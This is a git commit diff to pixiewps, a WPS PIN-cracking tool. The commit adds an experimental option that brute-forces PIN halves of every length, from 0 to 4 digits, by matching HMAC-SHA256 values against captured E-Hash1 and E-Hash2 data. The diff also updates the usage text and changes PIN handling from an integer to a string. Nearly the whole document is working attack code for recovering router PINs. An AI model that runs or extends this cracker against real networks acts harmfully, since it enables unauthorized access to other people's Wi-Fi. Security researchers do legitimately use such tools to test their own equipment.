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Add full-length brute-force

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binarymaster 2017-09-02 12:07:07 +03:00
parent 622b086572
commit 85413d0d6e
4 changed files with 110 additions and 17 deletions
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2
README.md
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@ -64,6 +64,8 @@ Optional Arguments:
-m, --r-nonce : Registrar nonce
-b, --e-bssid : Enrollee BSSID
-S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]
-f, --force : Brute-force timestamp seed
-l, --length : Brute-force entire pin length (experimental)
-v, --verbosity : Verbosity level 1-3, 1 is quietest [3]
-o, --output : Write output to file

119
src/pixiewps.c
View File

@ -39,9 +39,9 @@
uint32_t ecos_rand_simplest(uint32_t *seed);
uint32_t ecos_rand_simple(uint32_t *seed);
uint32_t ecos_rand_knuth(uint32_t *seed);
uint_fast8_t crack(struct global *g, unsigned int *pin);
uint_fast8_t crack(struct global *g, char *pin);
static const char *option_string = "e:r:s:z:a:n:m:b:Sfo:v:Vh?";
static const char *option_string = "e:r:s:z:a:n:m:b:Sflo:v:Vh?";
static const struct option long_options[] = {
{ "pke", required_argument, 0, 'e' },
{ "pkr", required_argument, 0, 'r' },
@ -53,6 +53,7 @@ static const struct option long_options[] = {
{ "e-bssid", required_argument, 0, 'b' },
{ "dh-small", no_argument, 0, 'S' },
{ "force", no_argument, 0, 'f' },
{ "length", no_argument, 0, 'l' },
{ "output", required_argument, 0, 'o' },
{ "verbosity", required_argument, 0, 'v' },
{ "version", no_argument, 0, 'V' },
@ -168,6 +169,9 @@ memory_err:
case 'f':
wps->bruteforce = 1;
break;
case 'l':
wps->anylength = 1;
break;
case 'o':
if (!freopen(optarg, "w", stdout))
{
@ -470,10 +474,12 @@ usage_err:
uint_fast8_t k = 0;
uint_fast8_t found_p_mode = NONE;
unsigned int pin;
char *pin;
uint32_t seed;
uint32_t print_seed = 0;
pin = calloc(WPS_PIN_LEN + 1, 1); if (!pin) goto memory_err;
/* Main loop */
while (!found_p_mode && p_mode[k] != NONE && k < MODE_LEN) {
@ -486,7 +492,7 @@ usage_err:
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
uint_fast8_t r = crack(wps, &pin);
uint_fast8_t r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = RT;
DEBUG_PRINT("Pin found");
@ -529,7 +535,7 @@ usage_err:
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
uint_fast8_t r = crack(wps, &pin);
uint_fast8_t r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = ECOS_SIMPLE;
DEBUG_PRINT("Pin found");
@ -552,7 +558,7 @@ usage_err:
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
uint_fast8_t r = crack(wps, &pin);
uint_fast8_t r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = RTL819x;
DEBUG_PRINT("Pin found");
@ -650,7 +656,7 @@ usage_err:
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
uint_fast8_t r = crack(wps, &pin);
uint_fast8_t r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = RTL819x;
DEBUG_PRINT("Pin found");
@ -668,7 +674,7 @@ usage_err:
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
uint_fast8_t r2 = crack(wps, &pin);
uint_fast8_t r2 = crack(wps, pin);
if (r2 == PIN_FOUND) {
found_p_mode = RTL819x;
DEBUG_PRINT("Pin found");
@ -731,7 +737,7 @@ usage_err:
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
uint_fast8_t r = crack(wps, &pin);
uint_fast8_t r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = ECOS_SIMPLEST;
DEBUG_PRINT("Pin found");
@ -775,7 +781,7 @@ usage_err:
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
uint_fast8_t r = crack(wps, &pin);
uint_fast8_t r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = ECOS_KNUTH;
DEBUG_PRINT("Pin found");
@ -838,10 +844,10 @@ usage_err:
printf("\n [*] E-S1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN);
printf("\n [*] E-S2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN);
}
if (pin == EMPTY_PIN) {
if (strlen(pin) == 0) {
printf("\n [+] WPS pin: <empty>");
} else {
printf("\n [+] WPS pin: %08u", pin);
printf("\n [+] WPS pin: %s", pin);
}
} else {
printf("\n [-] WPS pin not found!");
@ -853,6 +859,7 @@ usage_err:
free(wps->warning);
}
free(pin);
free(wps->pke);
free(wps->pkr);
free(wps->e_hash1);
@ -915,12 +922,23 @@ uint32_t ecos_rand_knuth(uint32_t *seed) {
return *seed;
}
/* Simple power function */
int int_pow(int a, int exp) {
if (exp <= 0) return 1;
int r = a;
while (--exp) r *= a;
return r;
}
/* PIN cracking attempt */
uint_fast8_t crack(struct global *g, unsigned int *pin) {
uint_fast8_t crack(struct global *g, char *pin) {
struct global *wps = g;
unsigned int i, j, count;
unsigned int first_half = 0;
unsigned int second_half = 0;
uint8_t s_pin[4];
char mask[5];
uint_fast8_t found = 0;
uint8_t *buffer = malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2);
@ -931,6 +949,77 @@ uint_fast8_t crack(struct global *g, unsigned int *pin) {
if (!result)
return MEM_ERROR;
if (wps->anylength) {
/* Brute-force entire pin space */
for (i = 0; i < 5; i++)
{
first_half = 0;
count = int_pow(10, i);
while (first_half < count) {
uint_to_char_array(first_half, i, s_pin);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, i, wps->psk1);
memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer,
WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result);
if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) {
first_half++;
} else {
if (i == 0)
{
snprintf(pin, WPS_PIN_LEN + 1, "");
} else {
snprintf((char *)&mask, 5, "%%0%uu", i);
snprintf(pin, WPS_PIN_LEN / 2 + 1, mask, first_half);
}
break;
}
}
if (first_half < count) {
for (j = 0; j < 5; j++)
{
second_half = 0;
count = int_pow(10, j);
while (second_half < count) {
uint_to_char_array(second_half, j, s_pin);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, s_pin, j, wps->psk2);
memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PKEY_LEN);
memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN, wps->pkr, WPS_PKEY_LEN);
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer,
WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PKEY_LEN * 2, result);
if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) {
second_half++;
} else {
if (j > 0)
{
snprintf((char *)&mask, 5, "%%0%uu", j);
snprintf(pin + WPS_PIN_LEN / 2, WPS_PIN_LEN / 2 + 1, mask, second_half);
}
/* Second half found */
found = 1;
break;
}
}
}
/* First half found, but not second */
break;
}
}
free(buffer);
free(result);
return !found;
}
/* Check for empty pin (length = 0) */
hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, NULL, 0, wps->psk1);
memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN);
@ -955,7 +1044,7 @@ uint_fast8_t crack(struct global *g, unsigned int *pin) {
free(buffer);
free(result);
*pin = EMPTY_PIN;
snprintf(pin, WPS_PIN_LEN + 1, "");
return 0;
}
}
@ -1038,6 +1127,6 @@ uint_fast8_t crack(struct global *g, unsigned int *pin) {
free(buffer);
free(result);
*pin = first_half * 10000 + second_half;
snprintf(pin, WPS_PIN_LEN + 1, "%08u", first_half * 10000 + second_half);
return !found; /* 0 success, 1 failure */
}

5
src/pixiewps.h
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@ -41,8 +41,6 @@
#define MEM_ERROR 2
#define ARG_ERROR 3
#define EMPTY_PIN 999999999
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
@ -105,6 +103,7 @@ struct global {
uint8_t small_dh_keys;
uint8_t mode_auto;
uint8_t bruteforce;
uint8_t anylength;
int verbosity;
char *error;
char *warning;
@ -131,6 +130,8 @@ char usage[] =
" -m, --r-nonce : Registrar nonce\n"
" -b, --e-bssid : Enrollee BSSID\n"
" -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No]\n"
" -f, --force : Brute-force timestamp seed\n"
" -l, --length : Brute-force entire pin length (experimental)\n"
" -v, --verbosity : Verbosity level 1-3, 1 is quietest [3]\n"
" -o, --output : Write output to file\n"
"\n"

1
src/wps.h
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@ -22,6 +22,7 @@
#define WPS_H
/* WPS constants */
#define WPS_PIN_LEN 8
#define WPS_PKEY_LEN 192
#define WPS_HASH_LEN 32
#define WPS_AUTHKEY_LEN 32